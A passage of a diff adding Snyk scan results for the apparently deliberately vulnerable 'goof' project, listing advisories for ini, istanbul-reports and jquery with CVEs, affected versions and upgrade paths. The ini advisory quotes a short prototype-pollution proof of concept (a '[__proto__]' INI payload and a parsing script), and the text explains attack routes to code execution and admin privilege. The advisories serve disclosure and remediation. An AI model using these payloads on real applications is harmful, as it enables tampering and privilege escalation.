+ "vulnerable": [ + "<1.3.6" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "npmconf@0.0.24", + "config-chain@1.1.12", + "ini@1.3.5" + ], + "upgradePath": [ + false, + "npmconf@0.0.24", + "config-chain@1.1.12", + "ini@1.3.6" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ini", + "version": "1.3.5" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P", + "alternativeIds": [], + "creationTime": "2020-12-08T15:34:07.743781Z", + "credit": [ + "Eugene Lim", + "Government Technology Agency Cyber Security Group" + ], + "cvssScore": 7.3, + "description": "## Overview\n[ini](https://www.npmjs.org/package/ini) is an An ini encoder/decoder for node\n\nAffected versions of this package are vulnerable to Prototype Pollution. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\r\n\r\n## PoC by Eugene Lim\r\n\r\npayload.ini\r\n```\r\n[__proto__]\r\npolluted = \"polluted\"\r\n```\r\n\r\npoc.js:\r\n```\r\nvar fs = require('fs')\r\nvar ini = require('ini')\r\n\r\nvar parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))\r\nconsole.log(parsed)\r\nconsole.log(parsed.__proto__)\r\nconsole.log(polluted)\r\n```\r\n\r\n```\r\n> node poc.js\r\n{}\r\n{ polluted: 'polluted' }\r\n{ polluted: 'polluted' }\r\npolluted\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `ini` to version 1.3.6 or higher.\n## References\n- [Eugene Lim - Research Blog Post](https://medium.com/csg-govtech/supply-chain-pollution-discovering-a-16-million-download-week-node-js-2fa4d2c27cf7)\n- [GitHub Commit](https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1)\n", + "disclosureTime": "2020-12-08T13:02:04Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "1.3.6" + ], + "id": "SNYK-JS-INI-1048974", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-qqgx-2p2h-9c37" + ], + "CVE": [ + "CVE-2020-7788" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-25T17:53:57.809154Z", + "moduleName": "ini", + "packageManager": "npm", + "packageName": "ini", + "patches": [], + "proprietary": true, + "publicationTime": "2020-12-10T18:08:38Z", + "references": [ + { + "title": "Eugene Lim - Research Blog Post", + "url": "https://medium.com/csg-govtech/supply-chain-pollution-discovering-a-16-million-download-week-node-js-2fa4d2c27cf7" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<1.3.6" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "npmconf@0.0.24", + "ini@1.1.0" + ], + "upgradePath": [ + false, + "npmconf@1.0.1", + "ini@1.3.6" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ini", + "version": "1.1.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", + "alternativeIds": [], + "creationTime": "2021-12-30T14:41:17.923623Z", + "credit": [ + "Unknown" + ], + "cvssScore": 4.3, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Reverse Tabnabbing because of no `rel` attribute in the link to `https://istanbul.js.org/`.\n## Remediation\nUpgrade `istanbul-reports` to version 3.1.3 or higher.\n## References\n- [GitHub Commit](https://github.com/istanbuljs/istanbuljs/commit/4eceb9eb8b3169b882d74ecc526fb5837ebc6205)\n- [GitHub PR](https://github.com/istanbuljs/istanbuljs/pull/591)\n- [GitHub Release](https://github.com/istanbuljs/istanbuljs/releases/tag/istanbul-reports-v3.1.3)\n", + "disclosureTime": "2021-12-30T14:13:55Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "3.1.3" + ], + "id": "SNYK-JS-ISTANBULREPORTS-2328088", + "identifiers": { + "CWE": [ + "CWE-1022" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-12-30T15:42:28.495661Z", + "moduleName": "istanbul-reports", + "packageManager": "npm", + "packageName": "istanbul-reports", + "patches": [], + "proprietary": false, + "publicationTime": "2021-12-30T15:42:28.493526Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/istanbuljs/istanbuljs/commit/4eceb9eb8b3169b882d74ecc526fb5837ebc6205" + }, + { + "title": "GitHub PR", + "url": "https://github.com/istanbuljs/istanbuljs/pull/591" + }, + { + "title": "GitHub Release", + "url": "https://github.com/istanbuljs/istanbuljs/releases/tag/istanbul-reports-v3.1.3" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Reverse Tabnabbing", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<3.1.3" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0" + ], + "upgradePath": [ + false, + "tap@15.0.0", + "nyc@15.1.0", + "istanbul-reports@3.1.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "istanbul-reports", + "version": "1.4.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P", + "alternativeIds": [], + "creationTime": "2019-03-27T08:43:07.568451Z", + "credit": [ + "Semmle Security Research Team" + ], + "cvssScore": 5.6, + "description": "## Overview\n[jquery](https://www.npmjs.com/package/jquery) is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The `extend` function can be tricked into modifying the prototype of `Object` when the attacker controls part of the structure passed to this function. This can let an attacker add or modify an existing property that will then exist on all objects.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `jquery` to version 3.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b)\n- [GitHub PR](https://github.com/jquery/jquery/pull/4333)\n- [Hackerone Report](https://hackerone.com/reports/454365)\n- [Snyk Blog](https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/)\n- [Third-Party Backported Patches Repo](https://github.com/DanielRuf/snyk-js-jquery-174006)\n", + "disclosureTime": "2019-03-26T08:40:15Z", + "exploit": "Proof of Concept", + "functions": [ + { + "functionId": { + "filePath": "dist/core.js", + "className": null, + "functionName": "jQuery.extend.jQuery.fn.extend" + }, + "version": [ + ">2.2.4 <=3.3.1" + ] + }, + { + "functionId": { + "filePath": "src/core.js", + "className": null, + "functionName": "jQuery.extend.jQuery.fn.extend" + }, + "version": [ + ">1.8.3 <=2.2.4" + ] + }, + { + "functionId": { + "filePath": "test/core.js", + "className": null, + "functionName": "module.exports.jQuery.extend(Object, Object)" + }, + "version": [ + "<=1.8.3" + ] + } + ], + "fixedIn": [ + "3.4.0" + ], + "id": "SNYK-JS-JQUERY-174006", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "796" + ], + "CVE": [ + "CVE-2019-5428", + "CVE-2019-11358" + ], + "GHSA": [ + "GHSA-wv67-q8rr-grjp" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-11-17T15:25:25.303045Z", + "moduleName": "jquery", + "packageManager": "npm", + "packageName": "jquery", + "patches": [], + "proprietary": false, + "publicationTime": "2019-03-27T08:40:08Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b" + }, + { + "title": "GitHub PR", + "url": "https://github.com/jquery/jquery/pull/4333" + }, + { + "title": "Hackerone Report", + "url": "https://hackerone.com/reports/454365" + }, + { + "title": "Snyk Blog", + "url": "https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/" + }, + { + "title": "Third-Party Backported Patches Repo", + "url": "https://github.com/DanielRuf/snyk-js-jquery-174006" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "dist/core.js", + "functionName": "jQuery.extend.jQuery.fn.extend" + }, + "version": [ + ">2.2.4 <=3.3.1" + ] + }, + { + "functionId": { + "filePath": "src/core.js", + "functionName": "jQuery.extend.jQuery.fn.extend" + }, + "version": [ + ">1.8.3 <=2.2.4" + ] + }, + { + "functionId": { + "filePath": "test/core.js", + "functionName": "module.exports.jQuery.extend(Object, Object)" + }, + "version": [ + "<=1.8.3" + ] + } + ], + "semver": { + "vulnerable": [ + "<3.4.0" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "jquery@2.2.4" + ], + "upgradePath": [ + false, + "jquery@3.4.0" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "jquery", + "version": "2.2.4" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-13T07:16:49.518552Z", + "credit": [ + "Masato Kinugawa" + ], + "cvssScore": 6.3, + "description": "## Overview\n\n[jquery](https://www.npmjs.com/package/jquery) is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.\n\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS)\nPassing HTML containing `